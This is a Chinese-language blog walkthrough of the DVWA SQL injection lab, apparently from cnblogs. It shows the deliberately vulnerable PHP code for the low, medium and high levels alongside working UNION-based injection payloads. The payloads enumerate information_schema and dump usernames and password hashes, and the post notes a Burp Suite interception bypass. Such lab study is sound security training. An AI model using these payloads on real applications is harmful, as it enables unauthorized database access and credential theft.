首页 > 数据库 >DVWA-SQL Injection(sql注入)

DVWA-SQL Injection(sql注入)

时间:2024-02-17 16:55:18浏览次数:28  
标签:name DVWA GLOBALS sql mysqli ___ schema Injection row

Sql注入是通过传递含有恶意sql语句的命令,使服务器在组织sql语句时,破坏掉原来的sql语句结构。从而达到执行恶意sql语句的目的。

DVWA SQL Injection 级别

  --low

  --medium

  --high

  --impossible

 

--low级别:

服务器端代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

通过用户id查询用户信息,且对传递的id参数没有做任何限制。

获取用户表中所有用户信息:1' or 1='1

 结合union获取服务器上所有数据库的信息:1' or 1=1 union select 1,database()#

 查看dvwa数据库下的所有表信息:1' or 1=1 union select version(),table_name FROM information_schema.tables WHERE table_schema = "dvwa"#

查看information_schema中的所有表名:1' or 1=1 union select version(),table_name FROM information_schema.tables WHERE table_schema = "information_schema"#

查看user表中的所有字段信息:1' or 1=1 union select version(),column_name FROM information_schema.columns WHERE table_name = "users"#

查询users中用户密码信息:1' or 1=1 union select user,password from users#

通过md5解密结果:

 

--medium级别:

服务器端代码:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

在medium的代码中将mysqli_real_escape_string()将用户提交的数据中含有特殊字符进行转义处理,并将请求方法由:GET 改为 POST请求,并将页面中的文本框该为了下拉框。也就是限制在页面上或浏览器地址栏中输入请求参数。但是,还是可以通过拦截接口的形式来修改参数进行注入。只要参数中不要含有特殊字符即可。如’或者#号之类的。所以最好不要加上where的查询条件。

通过burp suite 进行接口拦截:

查看users表中的字段信息

or 1=1 union select column_name,data_type FROM information_schema.columns

放开请求后返回的结果:

但是如果加上where 过滤users表名时,就会报语法异常,如:
or 1=1 union select column_name,data_type FROM information_schema.columns where table_name = 'users' 这样传到服务器后,单引号会被转义,导致语句出现语法错误。

 

--high级别:

服务器端代码:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

在high中,对查询结果进行限制只返回一条数据。这个其实跟low的差不多,也是没有在服务器端做任何限制。

查看users表的字段信息:

1' or 1=1 union select column_name,data_type FROM information_schema.columns WHERE table_name = "users"#

 

标签:name,DVWA,GLOBALS,sql,mysqli,___,schema,Injection,row
From: https://www.cnblogs.com/JcHome/p/18018129

相关文章

  • mysql 一主一从 读写分离
    schema.xml配置  主从balance策略 读写分离首先需要配置主从复制 ,主从复制请查看  主库备库需要创建 itcast数据库 目前读写分离是使用的mycat 需要配置 /usr/local/mycat/conf/schema.xml (注意格式缩进)<?xmlversion="1.0"?><!DOCTYPEmycat:sch......
  • DVWA-Insecure CAPTCHA(不安全的验证码)
    InsecureCAPTCHA意思是不安全的验证码,指验证在验证过程中,存在逻辑漏洞,导致可以绕过验证。CAPTCHA全称为:CompletelyAutomatedPublicTuringTesttoTellComputersandHumansApart(全自动区分计算机和人类的图灵测试)。DVWA-InsecureCAPTCHA级别:--low--medium......
  • docker mysql容器定时备份
    1查看docker容器信息[root@xxxt01:/root]dockerps-aCONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMESab87e7a22146mysql"docke......
  • 第二十三天:mysql数据备份及还原
    一、备份类型完全备份,部分备份完全备份:整个数据集部分备份:只备份数据子集,如部分库或表完全备份、增量备份、差异备份增量备份:仅备份最近一次完全备份或增量备份(如果存在增量)以来变化的数据,备份较快,还原复杂差异备份:仅备份最近一次完全备份以来变化的数据,备......
  • DVWA-File Upload(文件上传漏洞)
    FileUpload文件上传漏洞是通过上传文件功能,上传一些可执行的脚本文件,且服务器端没有对上传的文件进行严格的校验或者在服务器端没有对上传的文件进行安全策略的配置,导致文件能成功上传到服务器上,且能够解析执行。DVWA-FileUpload的级别:--low--medium--high......
  • 安装PostgreSQL 15
    安装PostgreSQL15openEuler22.03LTS上源码安装PostgreSQL151安装必要的依赖#yuminstall-yreadline-develzlib-develgcc2、下载源码#wgethttps://ftp.postgresql.org/pub/source/v15.6/postgresql-15.6.tar.gz#tar-xzvfpostgresql-15.6.tar.gz3配置#......
  • MySQL——查询
    MySQL——查询简单查询查询一个字段名:select字段名from表名;(其中要注意:select和from是关键字,字段名和表名都是标识符)多个字段的查询在简单查询的基础上用逗号隔开即可全部字段的查询可以把每个字段都写上:selecta,b,c,d...from表名;可以使用*:select*from表......
  • DVWA-File inclusion(文件包含漏洞)
    FileInclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。PHP中包含文件函数介绍:Inc......
  • (学习日记)四、数据库MySQL
    1.初识网站默认编写的网站是静态的动态需要用到web框架的功能fromflaskimportFlask,render_templateapp=Flask(__name__)@app.route("/index")defindex():users={"Wu":"1","Liu":"2","Deng":"3"}#此处的数......
  • MSSQL Server 备份数据库脚本
    备份数据库脚本,实现如下脚本1.定时备份2. 平日以N开头,周一以W开头,每月1号以M开头,每年1月1日以Y开头, (保留最近7天,4周,12月和10年的备份)3.每周一还原备份到test库,并将密码改为123 declare@bakfilevarchar(100),@dbvarchar(100),@prevarchar(......